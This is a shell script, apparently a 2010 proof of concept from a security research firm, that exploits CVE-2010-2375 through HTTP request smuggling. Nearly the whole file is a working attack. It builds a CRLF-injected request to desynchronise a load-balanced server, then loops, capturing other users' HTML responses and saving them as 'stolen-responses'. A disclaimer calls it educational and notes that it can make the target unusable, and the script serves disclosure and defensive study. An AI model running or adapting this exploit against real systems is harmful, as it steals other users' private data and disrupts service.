#!/bin/sh

# Copyright (C) 2010  Virtual Security Research, LLC
# Author: Timothy D. Morgan
#
# The following shell script demonstrates how one might exploit 
# CVE-2010-2375 using HTTP request smuggling to steal other site
# users' HTTP responses.  For more information, see:
#   http://www.vsecurity.com/resources/advisory/20100713-1/
#   
# Note that the use of this script could cause the entire target
# application environment to become unusable for some period of time due
# to a loss of synchronization between client requests and responses.
# You have been warned. 
#
# This script is distributed for educational purposes only with the
# sincere hope that it will help promote public safety.  This advisory
# comes with absolutely NO WARRANTY; not even the implied warranty of
# merchantability or fitness for a particular purpose.  Virtual Security
# Research, LLC nor the author accepts any liability for any direct,
# indirect, or consequential loss or damage arising from use of, or
# reliance on, this information. 


########################################################################
# Target server
SERVER=vulnerable.example.com

# Known, publicly-accessible image URLs.  These are the pages the
# attacker will request.  Knowing the size of the images (obtained from
# the Content-Length header) up front helps us filter out responses to
# our own requests which we don't care about.
REQ1_PAGE="/images/logo.gif"
REQ1_LENGTH="1234"
REQ1_TYPE="image/gif"
REQ2_PAGE="/images/spacer.gif"
REQ2_LENGTH="567"
REQ2_TYPE="image/gif"

# It is important to include a session cookie in requests because the
# string after the '!' determines which back-end server the request will
# be sent to in a clustered/load-balanced environment.
COOKIES="JSESSIONID=8FpQLHLM1DQhwgD12X04Z6KQ7wkq9Gn2CMFqy0LYc16gLQS5Yyr0!42421337"

# This is where interesting looking responses will be stored.  Most will
# be gibberish, but some might have tasty bits.  Directory will be created
# when script is run.
OUTPUT_DIR="/tmp/stolen-responses"

# Building up the malicious URL bit by bit
FINISH_REQ1="%20HTTP/1.1%0d%0aHost:%20${SERVER}%0d%0aConnection:%20keep-alive%0d%0aKeep-Alive:%2060Cookie:%20${COOKIES}%0d%0a%0d%0a"
START_REQ2="GET%20${REQ2_PAGE}"

# Putting it all together into a single injection request
PAGE="${REQ1_PAGE}${FINISH_REQ1}${START_REQ2}"

INJECT_REQ="GET ${PAGE} HTTP/1.1
Host: $SERVER
Cookie: $COOKIES
Connection: close

"

# The request we use to poll for other people's pages after the injection
CHECK_REQ="GET ${REQ1_PAGE} HTTP/1.1
Host: $SERVER
Cookie: $COOKIES
Connection: close

"


mkdir -p "$OUTPUT_DIR"


get_response()
{
  echo -n "$REQ" | openssl s_client -connect $SERVER:443 -quiet 2>/dev/null
}


# Basic algorithm is to first inject a second request to mess up
# synchronization, and then poll a number of times to try and nab some
# responses of other people.  We store only text/html responses.  Once
# we see responses to our own requests, we pause for a few seconds and
# then try another injection.  This worked well on a high-traffic
# server, but alternative polling techniques might be better on
# low-traffic clusters.
while true; do
{
    REQ="$INJECT_REQ"
    RES=`get_response`

    LENGTH=-1
    TYPE=none
    while [ "$LENGTH" != "$REQ1_LENGTH" ]; do
    {
      # Yes, we're parsing HTTP in shell.  Doesn't everyone?
      REQ="$CHECK_REQ"
      RES=`get_response`
      TYPE=`echo -n "$RES" | grep -i 'Content-type: ' | cut -d' ' -f 2`
      LENGTH=`echo -n "$RES" | grep -i 'Content-length: ' | cut -d' ' -f 2`
      
      if echo "$TYPE" | grep -i 'text/html' 2>&1 >/dev/null; then
      {
	FNAME=`echo -n "$RES" | sha1sum | cut -d' ' -f 1`
        echo -n "$RES" > "${OUTPUT_DIR}/$FNAME.html"
      } fi
    } done
    echo "Pausing"
    sleep 3
} done
